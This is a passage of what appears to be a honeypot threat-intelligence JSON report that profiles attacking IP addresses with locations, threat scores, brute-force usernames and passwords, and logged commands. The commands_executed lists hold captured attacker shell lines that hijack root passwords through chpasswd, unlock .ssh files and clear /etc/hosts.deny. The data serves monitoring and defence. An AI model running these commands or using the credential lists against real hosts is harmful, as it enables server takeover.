        "last_seen_30d": "2026-05-09T15:54:46.879000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "92.53.17.3": {
      "attack_count": 2,
      "first_seen": "2026-05-04T17:29:53.267Z",
      "last_seen": "2026-05-04T17:30:07.059Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "North Macedonia",
      "country_code": "MK",
      "city": "Bitola",
      "asn": 43612,
      "as_org": "Company for communications services A1 Makedonija DOOEL Skopje",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T17:29:53.267000+00:00",
        "last_seen_30d": "2026-05-04T17:31:15.677000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "43.133.39.206": {
      "attack_count": 828,
      "first_seen": "2026-05-16T13:28:42.640Z",
      "last_seen": "2026-05-18T17:37:00.460Z",
      "sessions": 61,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "wireguard",
        "frappe",
        "gokul",
        "noc",
        "rahul",
        "trader",
        "zero"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@#qweQWE",
        "$RFV5tgb",
        "0708228AsBs!",
        "0okm9ijn",
        "1",
        "102030",
        "1234",
        "1234567890a",
        "123456@Aa",
        "123456Qq!",
        "136161",
        "20192019",
        "Abcd1234.",
        "Mexico123",
        "Qwe123!!",
        "Redvirtual09",
        "Wb123456",
        "ZXCasd123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1234\\nomjZETCn8PUm\\nomjZETCn8PUm\\n\"|passwd",
        "echo \"root:3tUjWtoNTPCd\"|chpasswd|bash",
        "echo \"root:711MLmalu7yw\"|chpasswd|bash",
        "echo \"root:CwPCEKraViRG\"|chpasswd|bash",
        "echo \"root:ZUQN7DDelvHS\"|chpasswd|bash",
        "echo \"root:i4y230zosAQH\"|chpasswd|bash",
        "echo \"root:lhq3gK1mkrZL\"|chpasswd|bash",
        "echo \"root:o7KkNVL8kVEr\"|chpasswd|bash",
        "echo \"root:sfymlrw33sr9\"|chpasswd|bash",
        "echo -e \"1234\\nomjZETCn8PUm\\nomjZETCn8PUm\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 25.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.8,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 962,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T13:28:42.640000+00:00",
        "last_seen_30d": "2026-05-18T17:38:04.361000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 828,
        "Suricata": 134
      }
    },
    "58.186.20.143": {
      "attack_count": 533,
      "first_seen": "2026-05-17T12:15:28.669Z",
      "last_seen": "2026-05-25T13:40:08.673Z",
      "sessions": 48,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "curl",
        "steven",
        "test1",
        "db2",
        "game",
        "sammy",
        "socks",
        "temp",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsx#EDC",
        "!QAZ2wsx3edc$RFV",
        "$*%$@^@^(%^*#",
        "11223311",
        "12345",
        "12345678",
        "123456789",
        "19951995",
        "1qazse4",
        "Admin4321",
        "Cy123456",
        "Hn123456",
        "Kt@123456",
        "P@ss2024",
        "P@ssw0rdSISCART",
        "abcd123@",
        "admin001",
        "anyang"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123456789\\nsC2f1lKnbzKc\\nsC2f1lKnbzKc\\n\"|passwd",
        "echo \"root:jTKIdd5Cm94P\"|chpasswd|bash",
        "echo \"root:st18E0Wcs9tx\"|chpasswd|bash",
        "echo \"steven123\\n3NUrDZNt2rQA\\n3NUrDZNt2rQA\\n\"|passwd",
        "echo \"welltech12\\ntiTDZ32VkOYh\\ntiTDZ32VkOYh\\n\"|passwd",
        "echo -e \"123456789\\nsC2f1lKnbzKc\\nsC2f1lKnbzKc\"|passwd|bash",
        "echo -e \"steven123\\n3NUrDZNt2rQA\\n3NUrDZNt2rQA\"|passwd|bash",
        "echo -e \"welltech12\\ntiTDZ32VkOYh\\ntiTDZ32VkOYh\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Ho Chi Minh City",
      "asn": 18403,
      "as_org": "FPT Telecom Company",
      "threat_score": 38.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.1,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 652,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T12:15:28.669000+00:00",
        "last_seen_30d": "2026-05-25T13:41:15.293000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 533,
        "Suricata": 119
      }
    },
    "85.240.193.104": {
      "attack_count": 516,
      "first_seen": "2026-05-18T13:21:18.438Z",
      "last_seen": "2026-05-22T08:38:17.433Z",
      "sessions": 45,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "odoo17",
        "steam",
        "flussonic",
        "ftpuser",
        "michael",
        "sammy",
        "test1",
        "unturned",
        "user1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "00001111",
        "112233",
        "12345",
        "12345678",
        "123456a",
        "123QWEasd!@#",
        "Abc@123456789",
        "Changeme123",
        "Explorer",
        "abc123456.",
        "abcd",
        "admadm",
        "admin123!@#",
        "apache!@",
        "bookkeeper",
        "dagifi1980",
        "deploy123",
        "dino"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"odoo17@2025\\nLLcKU7PV7EIH\\nLLcKU7PV7EIH\\n\"|passwd",
        "echo \"root:4paRjp29rWcH\"|chpasswd|bash",
        "echo \"root:7859MaZR2hv4\"|chpasswd|bash",
        "echo \"root:A90eBFKUxcU8\"|chpasswd|bash",
        "echo \"root:DQaKMcx3447D\"|chpasswd|bash",
        "echo -e \"odoo17@2025\\nLLcKU7PV7EIH\\nLLcKU7PV7EIH\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": "Ponta Delgada",
      "asn": 3243,
      "as_org": "Servicos De Comunicacoes E Multimedia S.A.",
      "threat_score": 30.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.9,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 623,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T13:21:18.438000+00:00",
        "last_seen_30d": "2026-05-22T08:39:27.328000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 516,
        "Suricata": 107
      }
    },
    "116.110.222.116": {
      "attack_count": 512,
      "first_seen": "2026-05-03T10:52:50.850Z",
      "last_seen": "2026-05-03T11:28:25.953Z",
      "sessions": 102,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "ubnt",
        "test",
        "admian",
        "am",
        "anton",
        "ashish",
        "backup",
        "belkinstyle",
        "carol",
        "cpanel",
        "db2inst2",
        "developer",
        "dubai",
        "ftp_zsd",
        "ftpuser",
        "geral",
        "helpdesk",
        "install"
      ],
      "passwords_attempted": [
        "admin",
        "password",
        "0l0ctyQh243O63uD",
        "123456",
        "abc123",
        "1",
        "111111",
        "112233",
        "123",
        "1234",
        "12345",
        "12345678",
        "1234567890%*()",
        "72b1bd75ac87852a",
        "72ca06",
        "91482d",
        "@",
        "Deadstar!",
        "OkwKcECs8qJP2Z",
        "P@ssw0rd"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.6,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 726,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T10:52:50.850000+00:00",
        "last_seen_30d": "2026-05-03T11:29:29.548000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 512,
        "Suricata": 214
      }
    },
    "116.99.168.178": {
      "attack_count": 467,
      "first_seen": "2026-05-07T16:56:56.358Z",
      "last_seen": "2026-05-07T17:31:45.770Z",
      "sessions": 93,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "user",
        "ftp",
        "monitor",
        "ubnt",
        "*****",
        "RPM",
        "ace",
        "admian",
        "anton",
        "backup",
        "bin",
        "brenda",
        "carol",
        "cf1c22",
        "cisco",
        "ftpuser",
        "geral",
        "guest"
      ],
      "passwords_attempted": [
        "admin",
        "password",
        "1234",
        "123456",
        "*****",
        "0987654321",
        "0l0ctyQh243O63uD",
        "1111",
        "111111",
        "123",
        "12345",
        "12345678",
        "91482d",
        "@",
        "Deadstar!",
        "P@ssw0rd",
        "RPM",
        "abc123",
        "abcd1234",
        "ace"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 8.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.3,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 670,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T16:56:56.358000+00:00",
        "last_seen_30d": "2026-05-07T17:32:46.455000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 467,
        "Suricata": 203
      }
    },
    "27.22.41.231": {
      "attack_count": 404,
      "first_seen": "2026-05-19T18:22:28.014Z",
      "last_seen": "2026-05-20T17:48:37.431Z",
      "sessions": 202,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 26.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 628,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:22:28.014000+00:00",
        "last_seen_30d": "2026-05-20T17:49:40.890000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 404,
        "Suricata": 224
      }
    },
    "103.255.65.6": {
      "attack_count": 356,
      "first_seen": "2026-05-22T07:41:37.329Z",
      "last_seen": "2026-05-23T08:47:42.860Z",
      "sessions": 36,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "elasticsearch",
        "steam",
        "test1",
        "flussonic",
        "ftpuser",
        "michael",
        "mk",
        "odoo17",
        "postgres",
        "sammy",
        "sgp",
        "sri",
        "unturned",
        "user1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "00001111",
        "112233",
        "12345",
        "12345678",
        "123456789010",
        "123456a",
        "123QWEasd!@#",
        "2001",
        "@Admin2024",
        "A123123a",
        "Debian@123",
        "Password@123",
        "Q1w2e3r4t5y6u7i8o9p0",
        "Zx123456.",
        "abcd",
        "admin123!@#",
        "asdasd123123",
        "caca"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\nbHO8EZ3KQTBN\\nbHO8EZ3KQTBN\\n\"|passwd",
        "echo \"elasticsearch\\nMHTBpZJ1o7yn\\nMHTBpZJ1o7yn\\n\"|passwd",
        "echo \"root:rFqTtSdZywPb\"|chpasswd|bash",
        "echo -e \"12345678\\nbHO8EZ3KQTBN\\nbHO8EZ3KQTBN\"|passwd|bash",
        "echo -e \"elasticsearch\\nMHTBpZJ1o7yn\\nMHTBpZJ1o7yn\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 135383,
      "as_org": "Cloudware Technologies Private Limited",
      "threat_score": 29.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 444,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T07:41:37.329000+00:00",
        "last_seen_30d": "2026-05-23T08:48:52.684000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 356,
        "Suricata": 88
      }
    },
    "43.135.133.158": {
      "attack_count": 310,
      "first_seen": "2026-05-20T03:54:15.757Z",
      "last_seen": "2026-05-20T04:21:56.772Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1qwaszx",
        "2054",
        "999999",
        "Abcd,1234",
        "aa1234",
        "anubis",
        "areias",
        "beach",
        "chelsea",
        "claude",
        "mohammed123",
        "new123",
        "oracle1",
        "oracle2022",
        "rainbow",
        "sebastiano",
        "showme",
        "test2!@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"claude\\n6qovQZ908PmL\\n6qovQZ908PmL\\n\"|passwd",
        "echo \"root:6AfiwSm9bPJP\"|chpasswd|bash",
        "echo \"root:x8EvlGJQZOOP\"|chpasswd|bash",
        "echo -e \"claude\\n6qovQZ908PmL\\n6qovQZ908PmL\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 24.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 369,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T03:54:15.757000+00:00",
        "last_seen_30d": "2026-05-20T04:22:57.660000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 310,
        "Suricata": 59
      }
    },
    "191.101.59.87": {
      "attack_count": 309,
      "first_seen": "2026-05-19T22:05:59.594Z",
      "last_seen": "2026-05-19T22:44:12.275Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!qa@ws3ed",
        "123qweasd",
        "Pass123456",
        "PassWord",
        "bacula",
        "bitches",
        "calimero",
        "ccm-1!@",
        "claude",
        "flintoff",
        "gdm",
        "jupiter",
        "lover",
        "ranger",
        "rootpwd",
        "sftp",
        "ss12345",
        "tcm2005"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:FkfcqdKL7ma8\"|chpasswd|bash",
        "echo \"root:L0DpdIxr9W0M\"|chpasswd|bash",
        "echo \"root:nbIwAWivu3GR\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "City of London",
      "asn": 42831,
      "as_org": "UK Dedicated Servers Limited",
      "threat_score": 23.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 371,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T22:05:59.594000+00:00",
        "last_seen_30d": "2026-05-19T22:45:17.052000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 309,
        "Suricata": 62
      }
    },
    "36.50.176.144": {
      "attack_count": 309,
      "first_seen": "2026-05-18T18:40:30.433Z",
      "last_seen": "2026-05-18T19:17:37.202Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12121212",
        "1q2w3e4r!",
        "PasswdNew",
        "ampache",
        "angels",
        "beaver",
        "claude",
        "dbmaker",
        "einstein",
        "elias",
        "hes",
        "huawei!@",
        "kermit",
        "lionel",
        "localhost",
        "mju76yhn",
        "movie",
        "online"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:5iW24zT3IVvb\"|chpasswd|bash",
        "echo \"root:c78ipDrHt2az\"|chpasswd|bash",
        "echo \"root:j9zKKwL4hclv\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 151858,
      "as_org": "INTERDIGI JOINT STOCK COMPANY",
      "threat_score": 21.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 370,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T18:40:30.433000+00:00",
        "last_seen_30d": "2026-05-18T19:18:40.835000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 309,
        "Suricata": 61
      }
    },
    "156.232.13.218": {
      "attack_count": 221,
      "first_seen": "2026-05-05T18:42:59.880Z",
      "last_seen": "2026-05-15T06:38:14.008Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user1",
        "345gs5662d34",
        "dev",
        "ftp2",
        "jenkins",
        "milan",
        "oracle",
        "test",
        "ubuntu",
        "user"
      ],
      "passwords_attempted": [
        "!QAZ2wsx123456",
        "123321",
        "12345678",
        "1234567A",
        "123456Dr",
        "123456abc",
        "123Qwert",
        "3245gs5662d34",
        "345gs5662d34",
        "Hm123456@",
        "Ou.123456",
        "P4$$w0rd$",
        "P@$$w0rd123!",
        "P@ssw0rd123",
        "Qwertyui123",
        "Root2024$",
        "Tp123456!",
        "ZAQ!1qaz",
        "Zaq1xsw2cde#",
        "admin@123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"qwerty123\\nwF86QmkClrsk\\nwF86QmkClrsk\\n\"|passwd",
        "echo -e \"qwerty123\\nwF86QmkClrsk\\nwF86QmkClrsk\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 138152,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 21.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 293,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T18:42:59.880000+00:00",
        "last_seen_30d": "2026-05-15T06:39:14.625000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 221,
        "Suricata": 72
      }
    },
    "154.221.23.179": {
      "attack_count": 219,
      "first_seen": "2026-05-12T03:26:20.456Z",
      "last_seen": "2026-05-12T04:02:10.535Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "root",
        "ftpuser",
        "test",
        "hadoop",
        "sysadmin",
        "345gs5662d34",
